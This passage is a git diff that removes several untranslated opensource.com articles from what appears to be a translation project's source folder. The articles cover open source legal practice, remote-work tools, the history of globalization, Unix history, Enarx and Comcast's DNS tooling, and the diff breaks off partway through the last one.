deleted file mode 100644 index 335902b9f4..0000000000 --- a/sources/talk/20200821 3 ways a legal team can enable open source.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 ways a legal team can enable open source) -[#]: via: (https://opensource.com/article/20/8/open-source-legal-organization) -[#]: author: (Jeffrey Robert Kaufman https://opensource.com/users/jkaufman) - -3 ways a legal team can enable open source -====== -Open source law is unique because of its unusual requirements for -success. Learn ways lawyers can get their organizations to "yes". -![Active listening in a meeting is a skill][1] - -I am an open source lawyer for Red Hat. One important part of my job is to provide information to other companies, including their in-house counsel, about how Red Hat builds enterprise-class products with a completely open source development model and answering their questions about open source licensing in general. After hearing about Red Hat's success, these conversations often turn to discussions about how their organization can evolve to be more open source-aware and -capable, and lawyers at these meetings regularly ask how they can modify their practices to be more skilled in providing open source counsel to their employees. - -In this article and the next, I'll convey what I normally tell in-house counsel about these topics. If you are not in-house counsel and instead work for a law firm supporting clients in the software space, you may also find this information useful. (If you are considering going to law school and becoming an open source lawyer, you should read Luis Villa's excellent article [_What to know before jumping into a career as an open source lawyer_][2].) - -My perspective is based on my personal and possibly unique experience working in various engineering, product management, and lawyer roles. My atypical background means I see the world through a different lens from most lawyers. So, the ideas presented below may not be traditional, but they have served me well in my practice, and I hope they will benefit you. - -### Connect with open source organizations - -There are a multitude of open source organizations that are especially useful to open source lawyers. Many of these organizations have measurable influence over the views and interpretations of open source licenses. Consider getting involved with some of the more prominent organizations, such as the [Open Source Initiative][3] (OSI), the [Software Freedom Conservancy][4], the [Software Freedom Law Center][5], the [Free Software Foundation][6], [Free Software Foundation Europe][7], and the [Linux Foundation][8]. There are also a number of useful mailing lists, such as OSI's [license-discuss][9] and [license-review][10], that are worth monitoring and even participating in. - -Participating in these groups and lists will help you understand the myriad and unique issues you may encounter when practicing open source law, including how various terms of the open source license texts are interpreted by the community. There is little case law to guide you, but there are plenty of people happy to help answer questions, and these resources are the best source of guidance. This is perhaps one of the very unique and amazing aspects of practicing open source law—the openness of the development community is equally matched by the openness of the legal community to provide perspective and advice. All you have to do is ask. - -### Adopt the mindset of a business manager and find a path to yes - -Product managers are ultimately held responsible for a product or service from cradle to grave, including enabling that product or service to get to market. Since the bulk of my career has been spent leading product-management organizations, my mind is programmed to find a path, no matter how, to get a viable product or service to market. I encourage any lawyer to adopt this mindset since products and services are the lifeblood of any business. - -As such, the approach I have always taken in my legal practice involves issue spotting and advising clients of risk _but always having the objective of finding a path to "YES_," especially when my analysis impacts product/service development and release. When evaluating legal issues for internal clients, my executive management or I may, at times, view the risk to be too high. In such cases, continue encouraging everyone to work on the problem because, in my experience, solutions do eventually present themselves, often in unexpected ways. - -Be sure to tap all your resources, including your software development clients (see below), as they can be an excellent source of creative approaches to solving problems, often using technology to resolve issues. I have found much joy in this method, and my clients seem pleased with this passion and sentiment. I encourage all lawyers to consider this approach. - -Sadly, it is always easy to say "no" for self-preservation and to eliminate what may appear to be _any_ risk to the company. I have always found this response untenable. All business transactions have risk. As a counselor, it is your job to understand these risks and present them to your clients so that they may make educated business decisions. Simply saying "no" when any risk is present, without providing any additional context or other paths forward to mitigate risks, does no good for the long-term success of the organization. Companies need to provide products and services to survive, and you should be helping find that path, whenever possible, to YES. You have an ethical responsibility to say "no" in certain situations, of course, but explore and exhaust all reasonable options first. - -### Build relationships with developers - -Building relationships with your software development clients is _absolutely critical_. Building rapport and trust with developers are two important ways to strengthen these relationships. - -#### Build rapport - -Your success as an open source lawyer is most often a direct result of your positive relationships with your software developers. In many cases, your software developers are the direct or indirect recipients of your legal advice, and they will be looking to you for guidance and counsel. Unfortunately, many software developers are suspicious of lawyers and often view lawyers as obstacles to their ability to develop and release software. The best way to overcome this ill will is to build rapport with your clients. How you do that is different for most people, but here are some ideas. - - 1. **Show an interest in your clients' work:** Be inquisitive about the details of their project, how it works, the underlying programming language, how it connects to other systems, and how it will benefit the company. Some of these answers will be useful in your legal analysis when ascertaining legal risk and ways to mitigate such risk, but more importantly, this builds a solid foundation for an ongoing positive relationship with your client. - 2. **Be clear to your client that you are working to find a path to YES:** It is perfectly acceptable to let your client know you are concerned about certain aspects of their project, but follow that up with ideas for mitigating those concerns. Reassure them that it is your job to work with them to find a solution and not to be a roadblock. The effect of this cannot be overstated. - 3. **Participate in an open source project:** This is especially true if you have software development experience. Even if you do not have such experience, there are many ways to participate, such as helping with documentation or community outreach. Or request to join their status meetings just to learn more about their work. This will also allow you to provide counsel on-demand and in real time so that the team may course-correct early in the process. - - - -#### Have trust - -Your software developers are very active in their open source communities and are some of the best resources for understanding current issues affecting open source software and development. Just as you connect with legal organizations, like your local bar or national legal organizations to keep current on the latest legal developments, you should also engage with your software development resources for periodic briefings and to gain their counsel on various matters (e.g., how would the community view the use of this license for a project?). - -### Relationships breed success - -Open source law is unique because of its unusual requirements for success, namely, connections to other open source attorneys, open source organizations, and a deep and respectful relationship with clients. Success is a direct function of these relationships. - -In part two of this series, I will explore how and why it is important to find a path to "open" and to develop scalable solutions for your organization. - -Find out what it takes to become an open source lawyer. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/open-source-legal-organization - -作者:[Jeffrey Robert Kaufman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jkaufman -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/team-discussion-mac-laptop-stickers.png?itok=AThobsFH (Active listening in a meeting is a skill) -[2]: https://opensource.com/article/16/12/open-source-lawyer -[3]: https://opensource.org/ -[4]: https://sfconservancy.org/ -[5]: https://www.softwarefreedom.org/ -[6]: https://www.fsf.org/ -[7]: https://fsfe.org/index.en.html -[8]: https://www.linuxfoundation.org/ -[9]: https://lists.opensource.org/mailman/listinfo/license-discuss_lists.opensource.org -[10]: https://lists.opensource.org/mailman/listinfo/license-review_lists.opensource.org diff --git a/sources/talk/20200822 3 reasons small businesses choose open source tools for remote employees.md b/sources/talk/20200822 3 reasons small businesses choose open source tools for remote employees.md deleted file mode 100644 index 09d1126926..0000000000 --- a/sources/talk/20200822 3 reasons small businesses choose open source tools for remote employees.md +++ /dev/null @@ -1,77 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 reasons small businesses choose open source tools for remote employees) -[#]: via: (https://opensource.com/article/20/8/business-tools) -[#]: author: (Adrian Johansen https://opensource.com/users/ajohansen) - -3 reasons small businesses choose open source tools for remote employees -====== -There are plenty of open source operations tools available if you lack -the budget for premium software; here's how to evaluate your options. -![A chair in a field.][1] - -The last decade or so has seen some significant changes in how businesses operate. The expansion of accessible, affordable, connected technology has removed barriers to many resources, enabling collaboration and execution of work by nearly anyone, from nearly anywhere. Though COVID-19 has made remote operations a necessity for a lot of industries, many businesses had already begun to embrace it as a more cost-effective, agile way of working. - -That said, not every business has the budget to subscribe to premium software as a service (SaaS) to keep their remote employees productive. The good news is that open source software can be every bit as robust and intuitive as the premium options that are only available to those with plenty of capital. The key is clearly identifying what you need from those tools in order to focus your search. - -The open source community can offer some smart solutions to the challenges of remote working, and we’re going to look at a few key areas of need for businesses exploring how they can operate more effectively. - -### Flexible collaboration - -One of the primary challenges for businesses operating remotely is managing the productivity of disparate teams. Employee management can be difficult enough when everybody is in the same room, but keeping teams in close collaboration when they may be working in different cities or even different time zones requires water-tight organization. This is why open source tools that make flexible yet robust collaborations possible are on top of the list for remote teams today. - -Among the best [open source tools][2] on the market at the moment is [Taiga][3], a project management platform. It uses the card-style task organization approach, providing a board that is visible to all employees on the network and keeps leadership and team members informed about the status of individual tasks and overall project progress. Open source project management software that mimics the easy collaboration that premium services like Trello and Asana offer are increasingly popular. Many—[Odoo][4] and [OpenProject][5] among them—go further than their premium counterparts, offering integrated apps for forecasting and making it easier to share and transfer files or documents. - -When it comes to remote collaboration, effective communication tools are also a must. Team chat platforms can help to make certain that remote employees have access to leadership and other team members whenever they need assistance or clarification on tasks. The chat room nature of them also helps to build team camaraderie. [Mattermost][6] and [Rocket.Chat][7] are among the popular open source platforms that act as [effective alternatives to SaaS like Slack][8]; both have free options, public and private chat rooms, and the ability to upload and share media files. - -### User-friendliness - -There is a focus on effective user interfaces (UI) across the software industry at the moment, and this is arguably even more essential for remote teams. This is not just important for the day-to-day functionality of tools but also for ease of training. New employee onboarding can be improved by implementing a clear, fluid process that introduces new hires to the business’ core practices and tools. This means that any open source software deployed must be user-friendly enough to require minimal guidance and cause few disruptions during ramp-up. - -It certainly helps when the software itself is designed intuitively. [Drawpile][9] is an excellent example of this. [This collaborative drawing platform][10], used for team meetings and creative projects alike, uses clear icons and interfaces that are similar to popular drawing platforms like Photoshop or MSPaint. It also presents a minimalistic, functional approach to avoid overwhelming the uninitiated. When reviewing open source software, business leaders need to consider the perspective of a new user and evaluate its ease of use. - -It’s also important to take into account what instructional assets the developers have provided. Many have online manuals, though the nature of open source can mean that these frequently change and evolve over time. Some, like storage and sharing platform [Nextcloud][11], include separate training materials for users, developers, and administration. Review accessibility to concise documentation like this and ensure that it can be easily integrated, delivered, and understood during your remote employee onboarding process. - -### Security and support - -A concern for any business owner operating in digital spaces is ensuring that operations are not just efficient but secure. One of the aspects that can make premium software attractive is robust cybersecurity protocols and integrated support services. In searching for open source software, it’s important to understand the extent to which developers have put security protocols in place, and how this affects company, employee, and customer safety. - -This can be especially important when utilizing platforms that facilitate the sharing of documents and discussion of potentially sensitive company information. Many options on the market, including [Jitsi][12] and [BigBlueButton][13], are upfront about the security measures and encryptions on their software that often go beyond those on premium platforms. However, it’s equally important to make certain that employees themselves understand that their actions are as vital to security as the encryption. Be clear about what behavior can lead to phishing attacks that make the business vulnerable to two-factor authentication bypassing, and how to safely share information through activities such as dynamic linking. - -One of the most significant advantages that open source software holds over most premium products is access to a vibrant and supportive community. While there are core teams behind the software, there’s a spirit of collaboration and collective ownership to its development and continued growth. [LibreOffice][14] actively encourages its users to [help improve the product][15] through feedback and forums. This means users can often easily communicate with experts whenever issues arise and work together to solve problems, and ultimately make the product better in the future. - -### Conclusion - -Review how open source software can improve collaboration, and fit into your onboarding procedures, and examine the potential for security and community support. And by using open source, you retain control over your data, assets, and workflow. In a world that is swiftly embracing remote practices, discovering the right tools now can give you a competitive advantage. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/business-tools - -作者:[Adrian Johansen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ajohansen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BIZ_WorkInPublic_4618517_1110_CS_A.png?itok=RwVrWArk (A chair in a field.) -[2]: https://opensource.com/article/20/3/open-source-working-home -[3]: https://taiga.io/ -[4]: https://www.odoo.com/ -[5]: https://www.openproject.org/ -[6]: https://mattermost.com/ -[7]: https://rocket.chat/ -[8]: https://opensource.com/alternatives/slack -[9]: https://drawpile.net/ -[10]: https://opensource.com/article/20/3/drawpile -[11]: https://nextcloud.com/ -[12]: https://jitsi.org/ -[13]: https://bigbluebutton.org/ -[14]: https://www.libreoffice.org/ -[15]: https://www.libreoffice.org/community/get-involved/ diff --git a/sources/talk/20200823 Open organizations through the ages.md b/sources/talk/20200823 Open organizations through the ages.md deleted file mode 100644 index 680cb789b5..0000000000 --- a/sources/talk/20200823 Open organizations through the ages.md +++ /dev/null @@ -1,69 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open organizations through the ages) -[#]: via: (https://opensource.com/open-organization/20/8/global-history-collaboration) -[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) - -Open organizations through the ages -====== -On a global timeline, extensive collaboration is still a relatively new -phenomenon. That could explain why we're still getting the hang of it. -![Alarm clocks with different time][1] - -Consider the evolution of humankind. When we do, we will recognize that _having global discussions_ and _acting on global decisions_ is a relatively new phenomenon—only 100 years old, give or take a few years. We're still learning _how_ to make global decisions and execute on them successfully. - -Yet our ability to improve those globally focused practices and skills is critical to our continued survival. And open principles will be the keys to helping us learn them—as they have been throughout history. - -In the [first part of this series][2], I reviewed four factors one might use to assess globalization, and I explained how those factors relate specifically to [open organization principles][3]. Here, I'd like to present a chronology of how those principles have influenced certain developments that have made the world feel more connected and have made _personal_ or _regional_ issues into _global_ issues. - -This work draws on research by [Jeffrey D. Sachs][4], author of the book [_The Ages of Globalization_][5]. Sachs examines globalization from the genesis of humankind and argues that globalization has improved life and prosperity through the ages. He organizes human history into seven "ages," and examines the governance structure predominant in each. That structure determines how populations interact with each other (another way of assessing how socially inclusive they are). For Sachs, that inclusiveness is directly related to per capita GDP, or productivity per person. That productivity is where prosperity (or survival) is determined. - -So let's look at the growth of globalization through the ages (I'll use Sachs' categorizations) and see where open organization principles began to take hold in early civilizations. In this piece, I'll discuss historical periods up to the beginning of the Industrial Revolution (the early 1800s). - -### The Paleolithic Age (70,000‒10,000 BCE): The hunter/gatherer setting - -According to Sachs, the history of globalization really begins at the dawn of humankind. And open organization principles are evident even then—though only in tight-knit groups of 25 to 30 members, called "bands," each very similar to "bottom-up" business teams today. Such bands resisted hierarchical organization, eventually connecting with other bands to form "clans" of around 150 people, then "mega-bands" of around 500 people, and finally to "tribes" of around 1,500 people. But these groups never let go of that "band" concept (we can observe this in ancient ruins around the globe). Bands cooperated, but interactions were relatively weak (sometimes even warlike, as bands fought to protect territory). As bands' means of survival was primarily hunting and gathering, they lived a largely nomadic lifestyle. - -### The Neolithic Age (10,000‒3,000 BCE): The ranching/farming setting - -The advent of farming and ranching, Sachs says, marked this period of globalization. During that period, major segments of the human population started establishing permanent settlements, leading to decline in the hunter and gatherer nomadic lifestyle, as agricultural developments allowed for more productivity per unit area. People could establish larger villages. With new agricultural techniques, ten individuals could survive on one square kilometer of land (compared to only one person per square kilometer of hunter/gatherers). Therefore, people were not forced to migrate to new areas to survive. Communities grew larger, and these larger communities set in motion new technical discoveries in metallurgy, the arts, numeric record keeping, ceramics, and even a writing system to record technical breakthroughs. In short, _sharing_ and _collaboration_ became keys to expanding know-how, evidence of open organization principles even tens of thousands of years ago. - -Having global discussions and acting on global decisions is a relatively new phenomenon—only 100 years old, give or take a few years. - -### The Equestrian Age (3,000‒1,000 BCE): The land travel by horse setting - -During the Neolithic Age, communities began connecting with each other using horses for transportation, giving rise to another era of globalization—what Sachs calls The Equestrian Age. Domestication of animals took place almost exclusively in Eurasia and North Africa, including the use of donkeys, cattle, camels and other animals (not just horses). That domestication was by far the most important factor in the economic development and globalization in this age. Animal husbandry was a major influence on farming, mining, manufacturing, transportation, communications, warfare tactics, and governance. As greater long-distance movement was now possible (routes were formed to and from the east and west), whole civilizations began to form. The Egyptians introduced a system of writing and documentation, as well as public administration, which unified dynasties within the region. This led to advances in scientific fields, including mathematics, astronomy, engineering, metallurgy, and medicine. - -### The Classical Age (1,000 BCE‒1500 CE): An information, documentation, learning setting - -According to Sachs, this era of globalization involves the globalization of politics—namely conquering wide regions and creating empires. This includes the empires of Assyria, Persia, Greece, Rome, India, China and later the Ottoman and Mongol empires. This age saw the spread of ideas, technology, institutional concepts, and infrastructural development on a continental scale. As a result, larger communities were developed, and there was a greater and broader level of collaboration, interaction, transparency, adaptability and inclusivity than in the past. Through interaction between empires, better methods of growing food, raising farm animals, transporting goods and fighting wars spread around the globe. Much of this knowledge spread through thousands of books published, distributed, and taught (formal, community schooling began in this era, as did several documentation practices). Global trade improved with the establishment of a navy to police and protect travel routes. Simply put, this was a setting of multinational governance with ever expanding collaboration, inclusivity, and larger community development. - -### The Ocean Age (1500‒1800 CE): The long-distance sea travel and exploration setting - -During this period of globalization, Sachs says, the Old World and the New World, isolated from each other since the Paleolithic Age, finally united through ever faster ocean-going vessels, leading to greater two-way exchange. Plants, animals—and, unfortunately, diseases and pathogens—trafficked between them. Travel from Europe to Asia (via the Cape of Good Hope) increased during this era. This age saw the rise of global capitalism, with the establishment of global-scale economic organizations, like the British East India Company (chartered in 1600) and the Dutch East India Company (chartered in 1602). Each supplied global markets with goods from remote areas. But while global trade produced great prosperity during this era, in many regions it also led to great cruelty (the exploitation of indigenous peoples, for example). - -By the 1800s, communities were interacting on a scale more global than it had ever been, and open organization principles were more influential than ever before. And yet this era still saw a significant deficit of overall inclusivity and collaboration. We should note that this era of globalization is relatively _recent_ in history when viewed on the timescale Sachs outlines in _The Ages of Globalization_. - -How did we get from there to the current age? In the next article, I'll explore those developments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/8/global-history-collaboration - -作者:[Ron McFarland][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ron-mcfarland -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/clocks_time.png?itok=_ID09GDk (Alarm clocks with different time) -[2]: https://opensource.com/open-organization/20/7/globalization-history-open -[3]: https://opensource.com/open-organization/resources/open-org-definition -[4]: https://en.wikipedia.org/wiki/Jeffrey_Sachs -[5]: https://cup.columbia.edu/book/the-ages-of-globalization/9780231193740 diff --git a/sources/talk/20200824 Origin stories about Unix.md b/sources/talk/20200824 Origin stories about Unix.md deleted file mode 100644 index fa40a70345..0000000000 --- a/sources/talk/20200824 Origin stories about Unix.md +++ /dev/null @@ -1,75 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Origin stories about Unix) -[#]: via: (https://opensource.com/article/20/8/unix-history) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) - -Origin stories about Unix -====== -Brian Kernighan, one of the original Unix gurus, shares his insights -into the origins of Unix and its associated technology. -![Old UNIX computer][1] - -Brian W. Kernighan opens his book _Unix: A History and a Memoir_ with the line, "To understand how Unix happened, we have to understand Bell Labs, especially how it worked and the creative environment that it provided." And so begins a wonderful trip back in time, following the creation and development of early Unix with someone who was there. - -You may recognize Brian Kernighan's name. He is the "K" in [AWK][2], the "K" in "K&R C" (he co-wrote the original "Kernighan and Ritchie" book about the C programming language), and he has authored and co-authored many books about Unix and technology. On my own bookshelf, I can find several of Kernighan's books, including _The Unix Programming Environment_ (with Rob Pike), _The AWK Programming Language_ (with Alfred Aho and Peter J. Weinberger), and _The C Programming Language_ (with Dennis M. Ritchie). And of course, his latest entry, _Unix: A History and a Memoir_. - -I interviewed Brian about this most recent book. I think we spent equal amounts of time discussing the book as we did reminiscing about Unix and groff. Below are a few highlights of our conversation: - -### JH: What prompted you to write this book? - -BWK: I thought it would be nice to have a history of what happened at Bell Labs. Jon Gertner wrote a book, _The Idea Factory: Bell Labs and the Great Age of American Innovation_, that described the physical science work at Bell Labs. This was an authoritative work, very technical, and not something that I could do, but it was kind of the inspiration for this book. - -There's also a book by James Gleick, _The Information: A History, a Theory, a Flood_, that isn't specific to Bell Labs, but it's very interesting. That was kind of an inspiration for this, too. - -I originally wanted to write an academic history of the Labs, but I realized it was better to write something based on my own memories and the memories of those who were there at the time. So that's where the book came from. - -### JH: What are a few stories from the book you'd like people to read about? - -BWK: I think there are really two stories I'd like people to know about, and both of them are origin myths. I heard them afresh when Ken Thompson and I were at the [Vintage Computer Festival about a year ago][3]. - -One is the origin of Unix itself—how Bonnie, Ken's wife, went off on vacation for three weeks, just at the time that Ken thought he was about three weeks away from having a complete operating system. This was, of course, due to Ken's very competent programming abilities, and it was incredible he was able to pull it off. It was written entirely in Assembly and was really amazing work. - -[Note: This story starts on page 33 in the book. I'll briefly relate it here. Thompson was working on "a disk scheduling algorithm that would try to maximize throughput on any disk," but particularly the PDP-7's very tall single-platter disk drive. In testing the algorithm, Thompson realized, "I was three weeks from an operating system." He broke down his work into three units—an editor, an assembler, and a kernel—and wrote one per week. And about that time, Bonnie took their son to visit Ken's parents in California, so Thompson had those three weeks to work undisturbed.] - -And then there's the origin story for `grep`. Over the years, I'd gotten the story slightly wrong—I thought Ken had written `grep` entirely on demand. It was classic Ken that he had a great idea, a neat idea, a clean idea, and he was able to write it very quickly. Regular expressions (regex) were already present in the text editor, so really, he just pulled regex from the editor and turned it into a program. - -[Note: This story starts on page 70 in the book. Doug McIlroy said, "Wouldn't it be great if we could look for things in files?" Thompson replied, "Let me think about it overnight," and the next morning presented McIlroy with the `grep` program he'd written.] - -### JH: What other stories did you not get to tell in the book? - -BWK: I immediately think of the "Peter Weinberger's face" story! There were a lot of pranks based on having a picture of Peter's face pop up in random places. Someone attached a picture of Peter with magnets to the metal wall of a stairway. And there was a meeting once where Peter was up in front, not in the audience. And while he was talking, everyone in the audience held up a mask that had Peter's face printed on it.  - -[Note: The "Peter Weinberger's face" story starts on page 47 in the book. Spinroot also has an [archive of the prank][4] with examples.] - -I talked to a lot of people from the Labs about the book. I would email people, and I would receive long replies with more stories than I could fit into the length or the narrative. Honestly, there's probably a whole other book that someone else could write just based on those stories. It's amazing how many people come forward with stories about Unix and running Unix on systems I haven't even heard of. - -## A fantastic read - -_Unix: A History and a Memoir_ is well-titled. Throughout the book, Kernighan shares details on the rich history of Unix, including background on Bell Labs, the spark of Unix with CTSS and Multics in 1969, and the first edition in 1971. Kernighan also provides his own reflection on how Unix came to be such a dominant platform, including notes on portability, Unix tools, the Unix Wars, and Unix descendants such as Minix, Linux, BSD, and Plan9. You will also find nuggets of information and great stories that fill in details around some of the everyday features of Unix. - -At just over 180 pages, _Unix: A History and a Memoir_ is a fantastic read. If you are a fan of Linux, or any open source Unix, including the BSD versions, you will want to read this book. - -_Unix: A History and a Memoir_ is available on [Amazon][5] in paperback and e-book formats. Published by Kindle Direct Publishing, October 2019. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/unix-history - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/retro_old_unix_computer.png?itok=SYAb2xoW (Old UNIX computer) -[2]: https://opensource.com/resources/what-awk -[3]: https://www.youtube.com/watch?v=EY6q5dv_B-o -[4]: https://spinroot.com/pico/pjw.html -[5]: https://www.amazon.com/dp/1695978552 diff --git a/sources/talk/20200825 Why we open sourced our security project.md b/sources/talk/20200825 Why we open sourced our security project.md deleted file mode 100644 index c161728197..0000000000 --- a/sources/talk/20200825 Why we open sourced our security project.md +++ /dev/null @@ -1,102 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why we open sourced our security project) -[#]: via: (https://opensource.com/article/20/8/why-open-source) -[#]: author: (Mike Bursell https://opensource.com/users/mikecamel) - -Why we open sourced our security project -====== -It’s not just coding that we do in the open. -![A lock on the side of a building][1] - -When Nathaniel McCallum and I embarked on the project that is now called [Enarx][2], we made one decision right at the beginning: the code for Enarx would be open source, a stance fully supported by our employer, Red Hat (see the [standard disclaimer][3] on my blog). All of it, and forever. - -That's a decision that we've not regretted at any point, and it's something we stand behind. As soon as we had enough code for a demo and were ready to show it, we created a [repository on GitHub][4] and made it public. There's a very small exception, which is that there are some details of upcoming chip features that are shared with us under an NDA[1][5] where publishing any code we might write for them would be a breach of the NDA. But where this applies (which is rarely), we are absolutely clear with the vendors that we intend to make the code open as soon as possible, and we lobby them to release details as early as they can (which may be earlier than they might prefer) so that more experts can look over both their designs and our code. - -### Auditability and trust - -This brings us to possibly the most important reasons for making Enarx open source: auditability and trust. Enarx is a security-related project, and I believe passionately not only that [security should be done in the open][6] but also that if anybody is actually going to trust their sensitive data, algorithms, and workloads to a piece of software, then they want to be in a position where as many experts as possible have looked at it, scrutinised it, criticised it, and improved it, whether that is the people running the software, their employees, contractors, or (even better) the wider security community. The more people who check the code, the happier you should be to [trust it][7]. This is important for any piece of security software, but it is _vital_ for software such as Enarx, which is designed to protect your most sensitive workloads. - -### Bug catching - -There are bugs in Enarx. I know: I'm writing some of the code,[2][8] and I found one yesterday (which I'd put in), just as I was about to give a demo.[3][9] It is very, very difficult to write perfect code, and we know that if we make our source open, then more people can help us fix issues. - -### Commonwealth - -For Nathaniel and me, open source is an ethical issue, and we make no apologies for that. I think it's the same for most, if not all, of the team working on Enarx. This includes a number of Red Hat employees (see standard disclaimer), so it shouldn't come as a surprise, but we also have non-Red Hat contributors from a number of backgrounds. We feel that Enarx should be a Common Good and [contribute to the commonwealth][10] of intellectual property out there. - -### More brainpower - -Making something open source doesn't just make it easier to fix bugs: it can improve the quality of what you produce in general. The more brainpower you have to apply to the problem, the better your chances of making something great––assuming that the brainpower is applied efficiently (not always an easy task!). In a recent design meeting, one of the participants said towards the end, "I'm sure I could implement some of this, but I don't know a huge amount about this topic, and I'm worried that I'm not contributing to this discussion." In fact, they had contributed by asking questions and clarifying some points, and we assured them that we wanted to include experienced, senior developers for their expertise and knowledge and to pull out assumptions and validate the design, and not because we expected everybody to be experts in all parts of the project. - -Having bright people involved in design and coding spreads expertise and knowledge and helps keep the work from becoming an insulated, isolated "ivory tower" construction, understood by few, and almost impossible to validate. - -### Not just code - -It's not just coding that we do in the open. We manage our architecture in the open, our design meetings, our protocol design, our design methodology,[4][11] our documentation, our bug tracking, our chat, our CI/CD processes: all of it is open. The one exception is our [vulnerability management][12] process, which needs the opportunity for confidential exposure for a limited time. Here is where you can find our resources: - - * [Code][4] - * [Wiki][13] - * Design is on the wiki and [request for comments][14] repo - * [Issues][15] and [pull requests][16] - * [Chat][17] (thanks to [Rocket.chat][18]!) - * CI/CD resources thanks to [Packet][19]! - * [Stand-ups][20] - - - -We also take diversity seriously, and the project contributors are subject to the [Contributor Covenant Code of Conduct][21]. - -In short, Enarx is an open project. I'm sure we could do better, and we'll strive for that, but our underlying principles are that open is good in general and vital for security. If you agree, please come and visit! - -* * * - - 1. Non-disclosure agreement - 2. To the surprise of many of the team, including myself. At least it's not in Perl. - 3. I fixed it. Admittedly, after the demo. - 4. We've just moved to a sprint pattern, the details of which we designed and agreed to in the open. - - - -* * * - -_This article was originally published on [Alice, Eve, and Bob][22] and is adapted and reprinted with the author's permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/why-open-source - -作者:[Mike Bursell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mikecamel -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_3reasons.png?itok=k6F3-BqA (A lock on the side of a building) -[2]: https://enarx.dev/ -[3]: https://aliceevebob.com/ -[4]: https://github.com/enarx -[5]: tmp.PM1nWCfATC#1 -[6]: https://opensource.com/article/17/10/many-eyes -[7]: https://aliceevebob.com/2019/06/18/trust-choosing-open-source/ -[8]: tmp.PM1nWCfATC#2 -[9]: tmp.PM1nWCfATC#3 -[10]: https://opensource.com/article/17/11/commonwealth-open-source -[11]: tmp.PM1nWCfATC#4 -[12]: https://aliceevebob.com/2020/05/26/security-disclosure-or-vulnerability-management/ -[13]: https://github.com/enarx/enarx/wiki -[14]: https://github.com/enarx/rfcs -[15]: https://github.com/enarx/enarx/issues -[16]: https://github.com/enarx/enarx/pulls -[17]: https://chat.enarx.dev/ -[18]: https://rocket.chat/ -[19]: https://packet.com/ -[20]: https://github.com/enarx/enarx/wiki/How-to-contribute -[21]: https://github.com/enarx/.github/blob/master/CODE_OF_CONDUCT.md -[22]: https://aliceevebob.com/2020/07/28/why-enarx-is-open/ diff --git a/sources/talk/20200828 Why Comcast open sourced its DNS management tool.md b/sources/talk/20200828 Why Comcast open sourced its DNS management tool.md deleted file mode 100644 index 74601f556d..0000000000 --- a/sources/talk/20200828 Why Comcast open sourced its DNS management tool.md +++ /dev/null @@ -1,95 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why Comcast open sourced its DNS management tool) -[#]: via: (https://opensource.com/article/20/9/open-source-dns) -[#]: author: (Paul Cleary https://opensource.com/users/pauljamescleary) - -Why Comcast open sourced its DNS management tool -====== -This open source DNS management tool was built by and for the telcom -giant, but is establishing itself in its own right and welcoming more -contributors. -![An intersection of pipes.][1] - -Adoption of [DevOps][2] practices at Comcast led to increased automation and configuration of infrastructure that supports applications, back-office, data centers, and our network. These practices require teams to move fast and be self-reliant. Infrastructure is constantly turned upside down, with network traffic moved around it constantly. Good DNS record management is critical to support this level of autonomy and automation, but how can a large, diverse enterprise move quickly while safely governing its DNS assets? - -### Challenge - -Prior to 2016, DNS record management was mostly done through an online ticketing system—users would submit tickets for 